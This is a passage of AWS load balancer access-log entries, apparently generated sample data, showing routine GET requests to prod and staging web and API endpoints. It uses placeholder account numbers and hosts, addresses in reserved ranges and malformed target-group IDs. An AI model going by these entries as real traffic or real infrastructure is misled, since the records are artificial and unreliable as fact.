arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d24e-500e766edd9242e39943524c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:54:06.024027Z "forward" "-" "-" "10.0.194.179:443" "200" "-" "-" +https 2024-11-01T01:54:06.500794Z prod-web-alb 241.251.244.42:20211 10.0.163.218:443 0.027061 0.140503 0.066502 200 200 664 3065 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d24e-71a4e66a4fe84c6b9d2776db" "prod-web-alb.example.com" "-" 5 2024-11-01T01:54:06.500794Z "forward" "-" "-" "10.0.163.218:443" "200" "-" "-" +http 2024-11-01T01:54:08.500537Z staging-alb 139.226.187.199:26762 144.162.161.98:8080 0.123891 0.380813 0.033899 301 301 395 10004 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d250-0659a6338b5540dfb1191ce0" "staging-alb.example.com" "-" 10 2024-11-01T01:54:08.500537Z "forward" "-" "-" "144.162.161.98:8080" "301" "-" "-" +https 2024-11-01T01:54:09.010606Z prod-api-alb 57.12.202.53:46076 10.0.199.202:443 0.074833 0.038232 0.014703 302 302 116 12870 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d251-69f05d47d0ca4e62801d55db" "prod-api-alb.example.com" "-" 0 2024-11-01T01:54:09.010606Z "forward" "-" "-" "10.0.199.202:443" "302" "-" "-" +https 2024-11-01T01:54:10.448857Z staging-alb 251.27.235.79:56078 195.24.170.27:80 0.147494 0.029159 0.015998 200 200 353 973 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d252-4ca7f5c6036b439d8e297d6b" "staging-alb.example.com" "-" 9 2024-11-01T01:54:10.448857Z "forward" "-" "-" "195.24.170.27:80" "200" "-" "-" +https 2024-11-01T01:54:11.376341Z prod-web-alb 16.96.111.94:52599 10.0.239.112:443 0.012862 0.211531 0.076035 302 302 426 2339 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d253-41b666dc5e85449aa4ff6de9" "prod-web-alb.example.com" "-" 10 2024-11-01T01:54:11.376341Z "forward" "-" "-" "10.0.239.112:443" "302" "-" "-" +https 2024-11-01T01:54:13.329801Z prod-api-alb 222.219.42.217:33170 10.0.12.205:443 0.030181 0.342912 0.020074 301 301 200 11132 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d255-5c1b349191cb45d0b99132fa" "prod-api-alb.example.com" "-" 3 2024-11-01T01:54:13.329801Z "forward" "-" "-" "10.0.12.205:443" "301" "-" "-" +https 2024-11-01T01:54:14.836765Z staging-alb 65.68.100.55:46345 65.172.132.179:8080 0.106346 0.567383 0.007649 200 200 294 12286 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d256-197318c611224f6b94ed7298" "staging-alb.example.com" "-" 10 2024-11-01T01:54:14.836765Z "forward" "-" "-" "65.172.132.179:8080" "200" "-" "-" +https 2024-11-01T01:54:15.735614Z prod-api-alb 73.135.113.151:40206 10.0.203.209:443 0.066763 0.107937 0.028289 200 200 500 11349 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d257-68cc148d25ea400693d42657" "prod-api-alb.example.com" "-" 8 2024-11-01T01:54:15.735614Z "forward" "-" "-" "10.0.203.209:443" "200" "-" "-" +https 2024-11-01T01:54:16.535141Z staging-alb 83.158.174.129:12600 186.50.59.5:80 0.057946 0.601116 0.099530 302 302 958 9751 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d258-b2c2d4e63db44e25b69642bf" "staging-alb.example.com" "-" 4 2024-11-01T01:54:16.535141Z "forward" "-" "-" "186.50.59.5:80" "302" "-" "-" +https 2024-11-01T01:54:17.098473Z prod-api-alb 105.222.141.183:28134 10.0.84.233:443 0.076203 0.157120 0.051007 404 404 240 11187 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d259-901633a0863a4f71af01451e" "prod-api-alb.example.com" "-" 0 2024-11-01T01:54:17.098473Z "forward" "-" "-" "10.0.84.233:443" "404" "-" "-" +https 2024-11-01T01:54:18.931568Z prod-web-alb 108.59.18.48:40906 10.0.12.162:443 0.084856 0.381956 0.079299 404 404 574 8833 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d25a-ea7503937b104e9d84dc4074" "prod-web-alb.example.com" "-" 10 2024-11-01T01:54:18.931568Z "forward" "-" "-" "10.0.12.162:443" "404" "-" "-" +https 2024-11-01T01:54:19.990943Z staging-alb 134.243.237.14:38493 96.219.219.169:80 0.108112 0.688849 0.112110 200 200 552 13820 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d25b-41b2ed4cbe19400fb3cddd2f" "-" "-" 3 2024-11-01T01:54:19.990943Z "forward" "-" "-" "96.219.219.169:80" "200" "-" "-" +https 2024-11-01T01:54:20.784258Z prod-web-alb 178.99.221.9:54541 10.0.233.97:443 0.098481 0.002086 0.020479 301 301 267 10472 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d25c-36dc0400da67420c98ca44a2" "prod-web-alb.example.com" "-" 4 2024-11-01T01:54:20.784258Z "forward" "-" "-" "10.0.233.97:443" "301" "-" "-" +http 2024-11-01T01:54:21.210417Z staging-alb 167.116.157.104:48721 239.186.57.63:8080 0.073781 0.113677 0.058659 200 200 323 6380 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d25d-b9e8f515f9974b6abcde70db" "staging-alb.example.com" "-" 6 2024-11-01T01:54:21.210417Z "forward" "-" "-" "239.186.57.63:8080" "200" "-" "-" +http 2024-11-01T01:54:22.352566Z staging-alb 213.237.197.142:61074 179.84.177.3:8080 0.003796 0.318447 0.035421 200 200 694 1074 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d25e-6f111f26d23548feaa985f9f" "-" "-" 7 2024-11-01T01:54:22.352566Z "forward" "-" "-" "179.84.177.3:8080" "200" "-" "-" +https 2024-11-01T01:54:23.832970Z prod-web-alb 30.99.96.144:10413 10.0.89.248:443 0.089776 0.368218 0.024685 200 200 314 744 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d25f-d63fbaeae6484e969fb7018f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:54:23.832970Z "forward" "-" "-" "10.0.89.248:443" "200" "-" "-" +https 2024-11-01T01:54:25.820511Z prod-web-alb 221.114.36.66:17206 10.0.233.86:443 0.082366 0.169133 0.014014 302 302 859 6227 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d261-208f7bc3c3e14b508f8fc4a8" "-" "-" 0 2024-11-01T01:54:25.820511Z "forward" "-" "-" "10.0.233.86:443" "302" "-" "-" +https 2024-11-01T01:54:26.703342Z prod-api-alb 231.55.138.67:30903 10.0.202.99:443 0.034215 0.126969 0.085770 200 200 144 3163 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d262-b19a79f6b6b640ed93a8a73f" "prod-api-alb.example.com" "-" 10 2024-11-01T01:54:26.703342Z "forward" "-" "-" "10.0.202.99:443" "200" "-" "-" +https 2024-11-01T01:54:28.295277Z prod-api-alb 116.35.255.21:27033 10.0.16.208:443 0.023163 0.150022 0.012597 200 200 600 1378 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d264-45ffcd04cf364c2d868ae2a5" "prod-api-alb.example.com" "-" 7 2024-11-01T01:54:28.295277Z "forward" "-" "-" "10.0.16.208:443" "200" "-" "-" +https 2024-11-01T01:54:30.105391Z staging-alb 123.54.48.165:34065 45.255.232.38:80 0.089933 0.594236 0.084841 200 200 251 10276 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d266-4c31bd2b6cae478fb8ceae4f" "staging-alb.example.com" "-" 10 2024-11-01T01:54:30.105391Z "forward" "-" "-" "45.255.232.38:80" "200" "-" "-" +https 2024-11-01T01:54:30.269468Z prod-web-alb 5.35.156.100:15452 10.0.170.72:443 0.092999 0.027306 0.043531 200 200 929 283 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d266-3197b3ddeb364e23ab49de03" "prod-web-alb.example.com" "-" 1 2024-11-01T01:54:30.269468Z "forward" "-" "-" "10.0.170.72:443" "200" "-" "-" +https 2024-11-01T01:54:32.119727Z staging-alb 19.59.209.16:10281 151.219.31.184:80 0.010479 0.458312 0.139124 200 200 271 11800 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d268-3459597222b849a9b7a69938" "staging-alb.example.com" "-" 3 2024-11-01T01:54:32.119727Z "forward" "-" "-" "151.219.31.184:80" "200" "-" "-" +https 2024-11-01T01:54:32.684112Z prod-web-alb 77.29.190.72:25393 10.0.24.211:443 0.030695 0.003480 0.091856 200 200 701 8989 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d268-308b2fbf9a3e47f3aead7062" "prod-web-alb.example.com" "-" 7 2024-11-01T01:54:32.684112Z "forward" "-" "-" "10.0.24.211:443" "200" "-" "-" +https 2024-11-01T01:54:34.187384Z prod-api-alb 124.166.70.178:30099 10.0.182.188:443 0.089235 0.256305 0.076923 200 200 747 921 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d26a-e0582e3fa8a946cdbd534ea9" "prod-api-alb.example.com" "-" 10 2024-11-01T01:54:34.187384Z "forward" "-" "-" "10.0.182.188:443" "200" "-" "-" +https 2024-11-01T01:54:35.281777Z prod-api-alb 16.188.45.136:64912 10.0.127.111:443 0.075081 0.186259 0.051229 200 200 369 5670 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d26b-56a3f28aa4374f03abe42d88" "-" "-" 0 2024-11-01T01:54:35.281777Z "forward" "-" "-" "10.0.127.111:443" "200" "-" "-" +https 2024-11-01T01:54:36.200005Z prod-web-alb 222.218.124.198:48346 10.0.72.191:443 0.042514 0.428310 0.085470 200 200 974 9055 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d26c-c69e6d3973da4cfbadd1f7e7" "prod-web-alb.example.com" "-" 8 2024-11-01T01:54:36.200005Z "forward" "-" "-" "10.0.72.191:443" "200" "-" "-" +https 2024-11-01T01:54:36.739197Z prod-api-alb 110.110.64.169:20574 10.0.90.70:443 0.039091 0.060713 0.039504 200 200 299 11798 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d26c-297dd1133e3c428880311562" "prod-api-alb.example.com" "-" 9 2024-11-01T01:54:36.739197Z "forward" "-" "-" "10.0.90.70:443" "200" "-" "-" +http 2024-11-01T01:54:38.419298Z staging-alb 66.144.145.139:18598 36.155.162.245:8080 0.023256 0.295534 0.127343 302 302 936 1927 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d26e-d29e2348e9574dfdba7d4c0e" "-" "-" 8 2024-11-01T01:54:38.419298Z "forward" "-" "-" "36.155.162.245:8080" "302" "-" "-" +https 2024-11-01T01:54:40.011531Z staging-alb 144.32.120.104:11788 141.251.94.211:443 0.093729 0.199694 0.148102 200 200 524 7629 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d270-15018e33bda142879acde0cf" "staging-alb.example.com" "-" 9 2024-11-01T01:54:40.011531Z "forward" "-" "-" "141.251.94.211:443" "200" "-" "-" +https 2024-11-01T01:54:40.804914Z staging-alb 187.120.177.12:60517 193.164.199.230:8080 0.082054 0.125395 0.007878 200 200 470 7720 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d270-470b8f9fb3bc4a0388bf7673" "staging-alb.example.com" "-" 7 2024-11-01T01:54:40.804914Z "forward" "-" "-" "193.164.199.230:8080" "200" "-" "-" +http 2024-11-01T01:54:41.291964Z staging-alb 104.244.239.242:60916 253.144.215.78:80 0.095239 0.470009 0.001449 301 301 832 2260 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d271-f06e62d0d20f444091120631" "staging-alb.example.com" "-" 2 2024-11-01T01:54:41.291964Z "forward" "-" "-" "253.144.215.78:80" "301" "-" "-" +http 2024-11-01T01:54:42.053927Z staging-alb 124.46.116.200:22223 60.25.243.51:443 0.020806 0.681722 0.074696 200 200 554 10408 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d272-1f280b5be6694feda3dce1e0" "staging-alb.example.com" "-" 3 2024-11-01T01:54:42.053927Z "forward" "-" "-" "60.25.243.51:443" "200" "-" "-" +https 2024-11-01T01:54:42.379614Z prod-api-alb 30.150.78.29:38717 10.0.148.210:443 0.028943 0.230489 0.090158 200 200 110 11863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d272-8899aa5cdc224228ac10d91c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:54:42.379614Z "forward" "-" "-" "10.0.148.210:443" "200" "-" "-" +https 2024-11-01T01:54:43.692910Z prod-web-alb 231.153.252.225:61614 10.0.112.77:443 0.019162 0.193803 0.000844 404 404 239 4722 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d273-9538da7e09614b8cacf0bb52" "prod-web-alb.example.com" "-" 0 2024-11-01T01:54:43.692910Z "forward" "-" "-" "10.0.112.77:443" "404" "-" "-" +https 2024-11-01T01:54:44.069364Z prod-web-alb 193.100.246.113:45842 10.0.225.116:443 0.098013 0.120780 0.016581 200 200 708 9204 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d274-2943150c575546ba9ee439e5" "prod-web-alb.example.com" "-" 10 2024-11-01T01:54:44.069364Z "forward" "-" "-" "10.0.225.116:443" "200" "-" "-" +https 2024-11-01T01:54:45.021902Z prod-api-alb 212.254.76.101:14459 10.0.92.169:443 0.053458 0.279432 0.035153 404 404 293 8647 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d275-6e8c25a46511437eb34f2bb9" "prod-api-alb.example.com" "-" 0 2024-11-01T01:54:45.021902Z "forward" "-" "-" "10.0.92.169:443" "404" "-" "-" +https 2024-11-01T01:54:46.668015Z prod-api-alb 120.10.233.75:25226 10.0.44.114:443 0.034169 0.085513 0.086707 301 301 650 339 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d276-ce8af5f6875843a4a6c52d18" "prod-api-alb.example.com" "-" 0 2024-11-01T01:54:46.668015Z "forward" "-" "-" "10.0.44.114:443" "301" "-" "-" +https 2024-11-01T01:54:48.567078Z prod-web-alb 119.87.29.1:57445 10.0.68.43:443 0.019447 0.484851 0.080209 404 404 870 13264 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d278-1106dc110ce247edb05067c8" "prod-web-alb.example.com" "-" 2 2024-11-01T01:54:48.567078Z "forward" "-" "-" "10.0.68.43:443" "404" "-" "-" +https 2024-11-01T01:54:50.187468Z prod-api-alb 112.148.134.103:11193 10.0.214.206:443 0.053863 0.030305 0.009258 200 200 633 13652 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d27a-7f8213cb65eb4376878e7f10" "prod-api-alb.example.com" "-" 1 2024-11-01T01:54:50.187468Z "forward" "-" "-" "10.0.214.206:443" "200" "-" "-" +https 2024-11-01T01:54:50.951159Z prod-api-alb 34.6.43.31:53505 10.0.186.244:443 0.066718 0.327647 0.010978 200 200 84 10728 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d27a-647719b818904f6696e5e689" "prod-api-alb.example.com" "-" 8 2024-11-01T01:54:50.951159Z "forward" "-" "-" "10.0.186.244:443" "200" "-" "-" +https 2024-11-01T01:54:51.463548Z staging-alb 137.184.158.237:15885 252.142.253.195:80 0.103981 0.349173 0.135871 200 200 7 13507 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d27b-8077192f8bb246f6b127861b" "staging-alb.example.com" "-" 1 2024-11-01T01:54:51.463548Z "forward" "-" "-" "252.142.253.195:80" "200" "-" "-" +http 2024-11-01T01:54:52.709910Z staging-alb 16.24.30.54:59609 163.185.157.8:8080 0.070007 0.717742 0.018688 200 200 155 294 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d27c-868547989cf8429fab48a22c" "staging-alb.example.com" "-" 10 2024-11-01T01:54:52.709910Z "forward" "-" "-" "163.185.157.8:8080" "200" "-" "-" +https 2024-11-01T01:54:52.884219Z prod-api-alb 234.238.37.26:63766 10.0.9.106:443 0.029762 0.475682 0.009476 302 302 246 12280 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d27c-5581f40e4fb74c8aa0d2f4bc" "-" "-" 7 2024-11-01T01:54:52.884219Z "forward" "-" "-" "10.0.9.106:443" "302" "-" "-" +https 2024-11-01T01:54:53.666180Z staging-alb 187.175.128.118:15319 66.231.171.154:443 0.072486 0.148756 0.142232 302 302 371 2469 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d27d-29b3cb1729f64c158b83fd7b" "staging-alb.example.com" "-" 5 2024-11-01T01:54:53.666180Z "forward" "-" "-" "66.231.171.154:443" "302" "-" "-" +https 2024-11-01T01:54:54.289640Z prod-web-alb 145.67.222.248:64342 10.0.189.158:443 0.007396 0.058818 0.012026 404 404 180 5172 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d27e-3d2c027472104982b623ebf9" "prod-web-alb.example.com" "-" 8 2024-11-01T01:54:54.289640Z "forward" "-" "-" "10.0.189.158:443" "404" "-" "-" +http 2024-11-01T01:54:55.848912Z staging-alb 139.144.167.219:42371 130.243.178.12:443 0.088208 0.745817 0.119963 302 302 74 7089 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d27f-00425c7272954f6eae563f95" "staging-alb.example.com" "-" 6 2024-11-01T01:54:55.848912Z "forward" "-" "-" "130.243.178.12:443" "302" "-" "-" +https 2024-11-01T01:54:56.659241Z prod-api-alb 58.103.222.204:28635 10.0.172.223:443 0.046503 0.029100 0.093125 200 200 561 11528 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d280-cca17a3b8a5d4624b3b13660" "prod-api-alb.example.com" "-" 2 2024-11-01T01:54:56.659241Z "forward" "-" "-" "10.0.172.223:443" "200" "-" "-" +https 2024-11-01T01:54:57.932104Z staging-alb 15.205.13.254:37335 151.238.241.20:443 0.077622 0.548892 0.053117 302 302 519 13099 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 